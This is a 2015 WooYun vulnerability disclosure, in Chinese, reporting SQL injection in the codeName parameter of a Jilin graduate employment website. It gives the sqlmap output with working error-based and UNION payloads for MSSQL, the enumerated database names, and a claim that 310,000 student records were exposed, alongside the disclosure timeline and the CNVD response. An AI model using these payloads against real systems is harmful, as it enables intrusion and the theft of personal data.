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缺陷编号:wooyun-2015-0146451

漏洞标题:某省高校毕业生就业信息网主站存在SQL注入漏洞(DBA权限,31W学生信息侧漏)

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-10-13 19:13

修复时间:2015-12-02 13:54

公开时间:2015-12-02 13:54

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2015-10-13: 细节已通知厂商并且等待厂商处理中
2015-10-18: 厂商已经确认,细节仅向厂商公开
2015-10-28: 细节向核心白帽子及相关领域专家公开
2015-11-07: 细节向普通白帽子公开
2015-11-17: 细节向实习白帽子公开
2015-12-02: 细节向公众公开

简要描述:

RT

详细说明:

注入位置:
http://**.**.**.**:880/EDJLWeb/(S(x20olb3s4da0ctgmlmjasqij))/Common/HBindSelect.ashx?name=STCode&codeName=
注入参数 codeName
单引号报错

吉林毕业生注入点单引号报错.png


GET parameter 'codeName' is vulnerable. Do you want to keep testing the others (
if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 275 HTTP(s) r
equests:
---
Parameter: codeName (GET)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: name=STCode&codeName=' AND 4129=CONVERT(INT,(SELECT CHAR(113)+CHAR(
98)+CHAR(120)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (4129=4129) THEN CHAR(49) E
LSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(122)+CHAR(106)+CHAR(113))) AND 'kOti
'='kOti
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: name=STCode&codeName=' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NU
LL,NULL,NULL,NULL,CHAR(113)+CHAR(98)+CHAR(120)+CHAR(107)+CHAR(113)+CHAR(97)+CHAR
(80)+CHAR(106)+CHAR(103)+CHAR(68)+CHAR(104)+CHAR(116)+CHAR(79)+CHAR(88)+CHAR(65)
+CHAR(113)+CHAR(120)+CHAR(122)+CHAR(106)+CHAR(113),NULL--
---
[14:23:15] [INFO] testing Microsoft SQL Server
[14:23:18] [INFO] confirming Microsoft SQL Server
[14:23:32] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2008
[14:23:32] [INFO] fetching database names
[14:23:32] [INFO] the SQL query used returns 12 entries
[14:23:33] [INFO] retrieved: EducationDepartmentJLFP
[14:23:33] [INFO] retrieved: EducationDepartmentJLFP
[14:23:33] [INFO] retrieved: EducationDepartmentJLLog
[14:23:33] [INFO] retrieved: EducationDepartmentJLPortal
[14:23:34] [INFO] retrieved: EEEEE
[14:23:34] [INFO] retrieved: master
[14:23:34] [INFO] retrieved: model
[14:23:35] [INFO] retrieved: msdb
[14:23:35] [INFO] retrieved: ReportServer
[14:23:56] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request(s)
[14:23:56] [INFO] retrieved: ReportServerTempDB
[14:24:06] [INFO] retrieved: TeachSurvery
[14:24:06] [INFO] retrieved: tempdb
available databases [11]:
[*] EducationDepartmentJLFP
[*] EducationDepartmentJLLog
[*] EducationDepartmentJLPortal
[*] EEEEE
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] TeachSurvery
[*] tempdb


漏洞证明:

11个数据库:

吉林毕业生11个数据库-dba.png


31W学生信息侧漏:

吉林毕业生31W学生信息.png


吉林毕业生31W学生字段.png


修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-10-18 13:52

厂商回复:

CNVD确认所述情况,已经转由CNCERT下发给吉林分中心,由其后续协调网站管理单位处置.

最新状态:

暂无